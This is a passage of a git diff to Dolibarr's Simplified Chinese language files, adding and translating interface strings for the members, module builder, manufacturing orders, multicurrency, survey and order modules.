      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=营业额(公司)或财政预算案(基础) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=集成在线支付页面跳转 +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=对应的总金额为%s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=自然地 MembersStatisticsByProperties=成员统计数据 VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/zh_CN/modulebuilder.lang b/htdocs/langs/zh_CN/modulebuilder.lang index c159cdfafd9..782cd6248a3 100644 --- a/htdocs/langs/zh_CN/modulebuilder.lang +++ b/htdocs/langs/zh_CN/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Path where modules are generated/edited (first directory for external modules defined into %s): %s ModuleBuilderDesc3=找到生成/可编辑的模块: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=当模块目录的根目录中存在 %s 文 NewModule=新模块 NewObjectInModulebuilder=New object NewDictionary=New dictionary +ModuleName=Module name ModuleKey=模块名 ObjectKey=对象名 DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=zip /模块/应用程序包的路径 PathToModuleDocumentation=Path to file of module/application documentation (%s) SpaceOrSpecialCharAreNotAllowed=不允许使用空格或特殊字符。 FileNotYetGenerated=文件尚未生成 +GenerateCode=Generate code RegenerateClassAndSql=Force update of .class and .sql files RegenerateMissingFiles=生成丢失的文件 SpecificationFile=File of documentation LanguageFile=语言文件 ObjectProperties=Object Properties +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Are you sure you want to delete the property %s? This will change code in PHP class but also remove column from table definition of object. NotNull=不是NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=是衡量标准 DirScanned=扫描目录 NoTrigger=没有触发器 NoWidget=无插件 -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=菜单条目列表 ListOfDictionariesEntries=List of dictionaries entries ListOfPermissionsDefined=已定义权限的列表 SeeExamples=见这里的例子 -EnabledDesc=激活此字段的条件(示例:1 或 $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Display on PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Can the value of field be cumulated to get a total into list? (Examples: 1 or 0) SearchAllDesc=Is the field used to make a search from the quick search tool? (Examples: 1 or 0) SpecDefDesc=在此输入您要为模块提供的所有文档,这些文档尚未由其他选项卡定义。您可以使用.md或更好的.asciidoc语法。 @@ -130,26 +136,32 @@ UseSpecificEditorURL = Use a specific editor URL UseSpecificFamily = Use a specific family UseSpecificAuthor = Use a specific author UseSpecificVersion = Use a specific initial version -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=If you check this, some code will be generated to add a "Generate document" box on the record. -ShowOnCombobox=Show value into combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Key for tooltip CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Not editable ForeignKey=Foreign key -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii to HTML converter AsciiToPdfConverter=Ascii to PDF converter TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/zh_CN/mrp.lang b/htdocs/langs/zh_CN/mrp.lang index afbb5672376..e29b12b51a0 100644 --- a/htdocs/langs/zh_CN/mrp.lang +++ b/htdocs/langs/zh_CN/mrp.lang @@ -1,109 +1,120 @@ -Mrp=Manufacturing Orders -MOs=Manufacturing orders -ManufacturingOrder=Manufacturing Order -MRPDescription=Module to manage production and Manufacturing Orders (MO). -MRPArea=MRP Area -MrpSetupPage=Setup of module MRP -MenuBOM=Bills of material -LatestBOMModified=Latest %s Bills of materials modified -LatestMOModified=Latest %s Manufacturing Orders modified -Bom=Bills of Material -BillOfMaterials=Bill of Materials -BillOfMaterialsLines=Bill of Materials lines -BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=List of Manufacturing Orders -NewBOM=New bill of materials -ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. -BOMsNumberingModules=BOM numbering templates -BOMsModelModule=BOM document templates -MOsNumberingModules=MO numbering templates -MOsModelModule=MO document templates -FreeLegalTextOnBOMs=Free text on document of BOM -WatermarkOnDraftBOMs=Watermark on draft BOM -FreeLegalTextOnMOs=Free text on document of MO -WatermarkOnDraftMOs=Watermark on draft MO -ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials %s ? -ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? -ManufacturingEfficiency=Manufacturing efficiency -ConsumptionEfficiency=Consumption efficiency -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly -ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product -DeleteBillOfMaterials=Delete Bill Of Materials -DeleteMo=Delete Manufacturing Order -ConfirmDeleteBillOfMaterials=Are you sure you want to delete this Bill Of Materials? -ConfirmDeleteMo=Are you sure you want to delete this Manufacturing Order? -MenuMRP=Manufacturing Orders -NewMO=New Manufacturing Order -QtyToProduce=Qty to produce -DateStartPlannedMo=Date start planned -DateEndPlannedMo=Date end planned -KeepEmptyForAsap=Empty means 'As Soon As Possible' -EstimatedDuration=Estimated duration -EstimatedDurationDesc=Estimated duration to manufacture (or disassemble) this product using this BOM +Mrp=制造订单 +MOs=制造订单 +ManufacturingOrder=制造订单 +MRPDescription=管理生产和制造订单(MO)的模块 +MRPArea=MRP区 +MrpSetupPage=MRP模块设置 +MenuBOM=物料清单 +LatestBOMModified=最新的%s编辑过的物料清单 +LatestMOModified=最新的%s编辑过的制造订单 +Bom=物料清单 +BillOfMaterials=物料清单 +BillOfMaterialsLines=物料清单行 +BOMsSetup=BOM模块设置 +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=制造订单 +NewBOM=新物料清单 +ProductBOMHelp=用此物料清单创建(或拆卸)的产品。
      注:属性为'产品性质'='原材料'的产品在此列表中不可见。 +BOMsNumberingModules=物料清单编号模板 +BOMsModelModule=物料清单文档模块 +MOsNumberingModules=制造订单编号模板 +MOsModelModule=制造订单文档模板 +FreeLegalTextOnBOMs=物料清单文档上的自由文本 +WatermarkOnDraftBOMs=物料清单草稿上的水印 +FreeLegalTextOnMOs=制造订单文档上的自由文本 +WatermarkOnDraftMOs=制造订单草稿上的水印 +ConfirmCloneBillOfMaterials=您确定要复制物料清单%s吗? +ConfirmCloneMo=您确认要复制制造订单%s吗? +ManufacturingEfficiency=制造效率 +ConsumptionEfficiency=消耗效率 +Consumption=Consumption +ValueOfMeansLoss=0.95的值意味着在制造或拆卸过程中的平均损失为5%%。 +ValueOfMeansLossForProductProduced=0.95的值意味着生产产品的平均损失为5%% +DeleteBillOfMaterials=删除物料清单 +DeleteMo=删除制造订单 +ConfirmDeleteBillOfMaterials=您确定要删除此物料清单吗? +ConfirmDeleteMo=您确定要删除此制造订单吗? +MenuMRP=制造订单 +NewMO=新制造订单 +QtyToProduce=生产数量 +DateStartPlannedMo=计划开始日期 +DateEndPlannedMo=计划结束日期 +KeepEmptyForAsap=空白表示“尽快” +EstimatedDuration=估计时间 +EstimatedDurationDesc=使用此BOM制造(或拆卸)此产品的估计时间 ConfirmValidateBom=Are you sure you want to validate the BOM with the reference %s (you will be able to use it to build new Manufacturing Orders) -ConfirmCloseBom=Are you sure you want to cancel this BOM (you won't be able to use it to build new Manufacturing Orders anymore) ? -ConfirmReopenBom=Are you sure you want to re-open this BOM (you will be able to use it to build new Manufacturing Orders) -StatusMOProduced=Produced -QtyFrozen=Frozen Qty -QuantityFrozen=Frozen Quantity +ConfirmCloseBom=您确定要取消此物料清单(您将无法再使用它来建立新制造订单)? +ConfirmReopenBom=您确定要重新打开此物料清单(您将能够使用它来建立新制造订单)? +StatusMOProduced=已生产 +QtyFrozen=冻结数量 +QuantityFrozen=冻结数量 QuantityConsumedInvariable=When this flag is set, the quantity consumed is always the value defined and is not relative to the quantity produced. -DisableStockChange=Stock change disabled +DisableStockChange=库存修改已禁用 DisableStockChangeHelp=When this flag is set, there is no stock change on this product, whatever is the quantity consumed BomAndBomLines=Bills Of Material and lines BOMLine=Line of BOM -WarehouseForProduction=Warehouse for production -CreateMO=Create MO -ToConsume=To consume -ToProduce=To produce -ToObtain=To obtain -QtyAlreadyConsumed=Qty already consumed -QtyAlreadyProduced=Qty already produced -QtyRequiredIfNoLoss=Qty required if there is no loss (Manufacturing efficiency is 100%%) -ConsumeOrProduce=Consume or Produce -ConsumeAndProduceAll=Consume and Produce All -Manufactured=Manufactured -TheProductXIsAlreadyTheProductToProduce=The product to add is already the product to produce. +WarehouseForProduction=生产仓库 +CreateMO=创建生产订单 +ToConsume=消耗 +ToProduce=生产 +ToObtain=获得 +QtyAlreadyConsumed=已消耗数量 +QtyAlreadyProduced=已生产数量 +QtyRequiredIfNoLoss=如果没有损失需要的数量(制造效率为100%%)。 +ConsumeOrProduce=消耗或生产 +ConsumeAndProduceAll=消耗和生产所有产品 +Manufactured=已制造 +TheProductXIsAlreadyTheProductToProduce=要增加的产品已经是要生产的产品 ForAQuantityOf=For a quantity to produce of %s ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. -ProductionForRef=Production of %s -AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached +ProductionForRef=%s的生产 +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=删除行和恢复库存移库 +AutoCloseMO=如果达到消耗和生产的数量,自动关闭制造订单 NoStockChangeOnServices=No stock change on services ProductQtyToConsumeByMO=Product quantity still to consume by open MO ProductQtyToProduceByMO=Product quantity still to produce by open MO AddNewConsumeLines=Add new line to consume AddNewProduceLines=Add new line to produce -ProductsToConsume=Products to consume -ProductsToProduce=Products to produce -UnitCost=Unit cost -TotalCost=Total cost +ProductsToConsume=消耗的产品 +ProductsToProduce=生产的产品 +UnitCost=单位成本 +TotalCost=总成本 BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) -GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. +BOMTotalCostService=如果 "工作站 "模块被激活,并且线路上默认定义了一个工作站,那么计算方法是 "数量(换算成小时)x工作站ahr",否则是 "数量(换算成小时)x服务的成本价格" +GoOnTabProductionToProduceFirst=您必须先开始生产,才能关闭制造订单(见标签'%s'),但是您可以取消它。 ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO -Workstation=Workstation -Workstations=Workstations -WorkstationsDescription=Workstations management -WorkstationSetup = Workstations setup -WorkstationSetupPage = Workstations setup page -WorkstationList=Workstation list -WorkstationCreate=Add new workstation -ConfirmEnableWorkstation=Are you sure you want to enable workstation %s ? -EnableAWorkstation=Enable a workstation -ConfirmDisableWorkstation=Are you sure you want to disable workstation %s ? -DisableAWorkstation=Disable a workstation +Workstation=工作站 +Workstations=工作站 +WorkstationsDescription=工作站管理 +WorkstationSetup = 工作站设置 +WorkstationSetupPage = 工作站设置页面 +WorkstationList=工作站清单 +WorkstationCreate=新增工作站 +ConfirmEnableWorkstation=您确定要启用工作站%s吗? +EnableAWorkstation=启用工作站 +ConfirmDisableWorkstation=您确定停用工作站%s吗? +DisableAWorkstation=停用工作站 DeleteWorkstation=删除 -NbOperatorsRequired=Number of operators required +NbOperatorsRequired=需要的操作人员数量 THMOperatorEstimated=Estimated operator THM THMMachineEstimated=Estimated machine THM -WorkstationType=Workstation type -Human=Human -Machine=Machine -HumanMachine=Human / Machine -WorkstationArea=Workstation area -Machines=Machines +WorkstationType=工作站类型 +Human=人员 +Machine=机器 +HumanMachine=人员/机器 +WorkstationArea=工作站区域 +Machines=机器 THMEstimatedHelp=This rate makes it possible to define a forecast cost of the item -BOM=Bill Of Materials +BOM=物料清单 CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/zh_CN/multicurrency.lang b/htdocs/langs/zh_CN/multicurrency.lang index 4f05cd491b6..4334211ff7d 100644 --- a/htdocs/langs/zh_CN/multicurrency.lang +++ b/htdocs/langs/zh_CN/multicurrency.lang @@ -1,20 +1,38 @@ # Dolibarr language file - Source file is en_US - multicurrency -MultiCurrency=Multi currency -ErrorAddRateFail=Error in added rate -ErrorAddCurrencyFail=Error in added currency -ErrorDeleteCurrencyFail=Error delete fail -multicurrency_syncronize_error=Synchronisation error: %s -MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=Use date of document to find currency rate, instead of using latest known rate -multicurrency_useOriginTx=When an object is created from another, keep the original rate of source object (otherwise use the latest known rate) +MultiCurrency=多币种 +ErrorAddRateFail=添加汇率出错 +ErrorAddCurrencyFail=添加货币时出错 +ErrorDeleteCurrencyFail=错误删除失败 +multicurrency_syncronize_error=同步错误:%s +MULTICURRENCY_USE_RATE_ON_DOCUMENT_DATE=使用文档的日期来查找货币汇率,而不是使用最新的已知汇率 +multicurrency_useOriginTx=当从另一个对象创建对象时,请保留源对象的原始汇率(否则使用最新的已知汇率) CurrencyLayerAccount=CurrencyLayer API -CurrencyLayerAccount_help_to_synchronize=You sould create an account on their website to use this functionnality
      Get your API key
      If you use a free account you can't change the currency source (USD by default)
      But if your main currency isn't USD you can use the alternate currency source to force you main currency

      You are limited at 1000 synchronizations per month -multicurrency_appId=API key -multicurrency_appCurrencySource=Currency source -multicurrency_alternateCurrencySource=Alternate currency source -CurrenciesUsed=Currencies used -CurrenciesUsed_help_to_add=Add the differents currencies and rates you need to use on you proposals, orders, etc. -rate=rate -MulticurrencyReceived=Received, original currency -MulticurrencyRemainderToTake=Remaining amout, original currency -MulticurrencyPaymentAmount=Payment amount, original currency -AmountToOthercurrency=Amount To (in currency of receiving account) +CurrencyLayerAccount_help_to_synchronize=您必须在网站%s创建账户来使用这功能。
      获取您的API密钥
      如果您使用免费账户,您不能改变源货币(默认为 USD)。
      如果您的主要货币不是 USD,应用程序会自动重新计算。

      您每月只能进行1000次同步。 +multicurrency_appId=API密钥 +multicurrency_appCurrencySource=源货币 +multicurrency_alternateCurrencySource=替代源货币 +CurrenciesUsed=使用的货币 +CurrenciesUsed_help_to_add=添加您需要使用在您的报价订单等等上的不同货币和汇率。 +rate=汇率 +MulticurrencyReceived=收到的原始货币 +MulticurrencyRemainderToTake=剩余金额,原始货币 +MulticurrencyPaymentAmount=付款金额,原始货币 +AmountToOthercurrency=金额(以接收帐户的货币计算) +CurrencyRateSyncSucceed=货币汇率成功完成同步 +MULTICURRENCY_USE_CURRENCY_ON_DOCUMENT=使用文档中的货币进行在线支付 +TabTitleMulticurrencyRate=汇率列表 +ListCurrencyRate=货币的兑换率列表 +CreateRate=创建汇率 +FormCreateRate=汇率创建 +FormUpdateRate=汇率修改 +successRateCreate=货币汇率%s已被添加到数据库 +ConfirmDeleteLineRate=您确定要移除%s日期的货币%s的%s汇率吗? +DeleteLineRate=清除汇率 +successRateDelete=汇率已删除 +errorRateDelete=删除汇率时出现错误 +successUpdateRate=所作的修改 +ErrorUpdateRate=改变汇率时出错 +Codemulticurrency=货币代码 +UpdateRate=改变汇率 +CancelUpdate=取消 +NoEmptyRate=汇率字段必须不能为空 diff --git a/htdocs/langs/zh_CN/opensurvey.lang b/htdocs/langs/zh_CN/opensurvey.lang index 25af249d27c..8d928c0d5a2 100644 --- a/htdocs/langs/zh_CN/opensurvey.lang +++ b/htdocs/langs/zh_CN/opensurvey.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - opensurvey Survey=调查 Surveys=调查 -OrganizeYourMeetingEasily=Organize your meetings and polls easily. First select the type of poll... +OrganizeYourMeetingEasily=轻松组织您的会议和问卷,首先选择问卷类型…… NewSurvey=新建调查 OpenSurveyArea=调查问卷区 AddACommentForPoll=您可以在民意调查中添加评论...... @@ -11,7 +11,7 @@ PollTitle=调查问卷标题 ToReceiveEMailForEachVote=每次投票均接收邮件 TypeDate=日期类型 TypeClassic=标准类型 -OpenSurveyStep2=Select your dates among the free days (grey). The selected days are green. You can unselect a day previously selected by clicking again on it +OpenSurveyStep2=在空闲日期 (灰色) 中选择您的日期,所选日期为绿色。您可以再次点击之前选择的日子来取消选择。 RemoveAllDays=移除全部日期 CopyHoursOfFirstDay=复制首日时数 RemoveAllHours=删除所有小时 @@ -35,7 +35,7 @@ TitleChoice=选择标签 ExportSpreadsheet=导出电子表格结果 ExpireDate=限定日期 NbOfSurveys=调查问卷数量 -NbOfVoters=No. of voters +NbOfVoters=投票人数 SurveyResults=结果 PollAdminDesc=你有权限通过 "编辑"菜单来变更全部投票详细. 你也可以 , 移除 %s. 你更可以添加 %s. 5MoreChoices=5 个以上选择 @@ -48,10 +48,10 @@ AddEndHour=添加结束时间 votes=调查(s) NoCommentYet=这个调查投票问卷没有评论 CanComment=投票者可评论该投票 -YourVoteIsPrivate=This poll is private, nobody can see your vote. -YourVoteIsPublic=This poll is public, anybody with the link can see your vote. +YourVoteIsPrivate=这次问卷是私人的,没有人可以看到您的投票。 +YourVoteIsPublic=这次问卷是公开的,任何有链接的人都能看到您的投票。 CanSeeOthersVote=投票者可查看其他人的投票 -SelectDayDesc=For each selected day, you can choose, or not, meeting hours in the following format:
      - empty,
      - "8h", "8H" or "8:00" to give a meeting's start hour,
      - "8-11", "8h-11h", "8H-11H" or "8:00-11:00" to give a meeting's start and end hour,
      - "8h15-11h15", "8H15-11H15" or "8:15-11:15" for the same thing but with minutes. +SelectDayDesc=对于每个选定的一天,您可以选择或不选择以下格式的会议时间:
      -空,
      -“8h”,“8H”或“8:00”给会议的开始时间,
      -“8-11”,“8h-11h”,“8h-11H”或“8:00-11:00”给会议的开始和结束时间,
      -“8h15-11h15”,“8H15-11h15”或“8:15-11:15”做同样的事情,但要加上分钟。 BackToCurrentMonth=回到当前月份 ErrorOpenSurveyFillFirstSection=您尚未填写投票创建的第一部分 ErrorOpenSurveyOneChoice=输入至少一个选项 diff --git a/htdocs/langs/zh_CN/orders.lang b/htdocs/langs/zh_CN/orders.lang index 17d57a38d7c..9be3bc19ed9 100644 --- a/htdocs/langs/zh_CN/orders.lang +++ b/htdocs/langs/zh_CN/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=An order was already open linked to this proposal, so no other order was created automatically OrdersArea=客户订单区 SuppliersOrdersArea=采购订单区 OrderCard=订单信息 @@ -12,18 +13,18 @@ OrderDateShort=订单日期 OrderToProcess=待处理订单 NewOrder=新订单 NewSupplierOrderShort=新订单 -NewOrderSupplier=New Purchase Order +NewOrderSupplier=新的采购订单 ToOrder=订单填写 MakeOrder=订单填写 SupplierOrder=采购订单 SuppliersOrders=采购订单 -SaleOrderLines=Sales order lines -PurchaseOrderLines=Puchase order lines +SaleOrderLines=销售订单行 +PurchaseOrderLines=采购订单行 SuppliersOrdersRunning=当前采购订单 -CustomerOrder=Sales Order -CustomersOrders=Sales Orders -CustomersOrdersRunning=Current sales orders -CustomersOrdersAndOrdersLines=Sales orders and order details +CustomerOrder=销售订单 +CustomersOrders=销售订单 +CustomersOrdersRunning=当前销售订单 +CustomersOrdersAndOrdersLines=销售订单和订单详情 OrdersDeliveredToBill=Sales orders delivered to bill OrdersToBill=Sales orders delivered OrdersInProcess=Sales orders in process @@ -68,6 +69,8 @@ CreateOrder=创建订单 RefuseOrder=拒绝订单 ApproveOrder=批准订单 Approve2Order=批准订单(第二级) +UserApproval=User for approval +UserApproval2=User for approval (second level) ValidateOrder=验证订单 UnvalidateOrder=未验证订单 DeleteOrder=删除订单 @@ -75,15 +78,15 @@ CancelOrder=取消订单 OrderReopened= Order %s re-open AddOrder=创建订单 AddSupplierOrderShort=创建订单 -AddPurchaseOrder=Create purchase order +AddPurchaseOrder=创建采购订单 AddToDraftOrders=添加订单草稿 ShowOrder=显示订单 OrdersOpened=处理订单 NoDraftOrders=没有订单草稿 NoOrder=空空如也——没有订单 NoSupplierOrder=没有采购订单 -LastOrders=Latest %s sales orders -LastCustomerOrders=Latest %s sales orders +LastOrders=最新%s销售订单 +LastCustomerOrders=最新%s销售订单 LastSupplierOrders=最新%s采购订单 LastModifiedOrders=最近变更的 %s 份订单 AllOrders=所有的订单 @@ -102,6 +105,8 @@ ConfirmCancelOrder=您确定要取消此订单吗? ConfirmMakeOrder=您确定要确认是否在 %s 上确认了此订单? GenerateBill=生成发票 ClassifyShipped=归类"已交付" +PassedInShippedStatus=classified delivered +YouCantShipThis=I can't classify this. Please check user permissions DraftOrders=订单草稿 DraftSuppliersOrders=采购订单草稿 OnProcessOrders=处理中订单 @@ -148,9 +153,9 @@ OrderByWWW=在线 OrderByPhone=电话 # Documents models PDFEinsteinDescription=A complete order model (old implementation of Eratosthene template) -PDFEratostheneDescription=A complete order model +PDFEratostheneDescription=完整的订单模型 PDFEdisonDescription=一份简单的订购模式 -PDFProformaDescription=A complete Proforma invoice template +PDFProformaDescription=完整的形式发票模板 CreateInvoiceForThisCustomer=计费订单 CreateInvoiceForThisSupplier=计费订单 CreateInvoiceForThisReceptions=Bill receptions @@ -182,7 +187,7 @@ StatusSupplierOrderApprovedShort=已获批准 StatusSupplierOrderRefusedShort=已被拒绝 StatusSupplierOrderToProcessShort=待处理 StatusSupplierOrderReceivedPartiallyShort=部分收到 -StatusSupplierOrderReceivedAllShort=Products received +StatusSupplierOrderReceivedAllShort=收到的产品 StatusSupplierOrderCanceled=已取消 StatusSupplierOrderDraft=草稿(需要确认) StatusSupplierOrderValidated=批准 @@ -193,4 +198,4 @@ StatusSupplierOrderToBill=已递送 StatusSupplierOrderApproved=已获批准 StatusSupplierOrderRefused=已被拒绝 StatusSupplierOrderReceivedPartially=部分收到 -StatusSupplierOrderReceivedAll=All products received +StatusSupplierOrderReceivedAll=所有收到的产品 diff --git a/htdocs/langs/zh_CN/other.lang b/htdocs/langs/zh_CN/other.lang index 9850b9ff10e..6af54c9c3d2 100644 --- a/htdocs/langs/zh_CN/other.lang +++ b/htdocs/langs/zh_CN/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=验证客户的建议 Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=通过邮件发送的商业报价 Notify_WITHDRAW_TRANSMIT=传输撤军 Notify_WITHDRAW_CREDIT=信贷撤离 @@ -181,6 +183,7 @@ SizeUnitfoot=脚 SizeUnitpoint=点 BugTracker=bug跟踪系统 SendNewPasswordDesc=此表单允许您请求新密码。它将被发送到您的电子邮件地址。
      一旦您点击电子邮件中的确认链接,更改将生效。
      检查您的收件箱。 +EnterNewPasswordHere=Enter your new password here BackToLoginPage=返回登陆界面 AuthenticationDoesNotAllowSendNewPassword=认证模式为%s。
      在这种模式下,Dolibarr不能知道,也不更改密码。
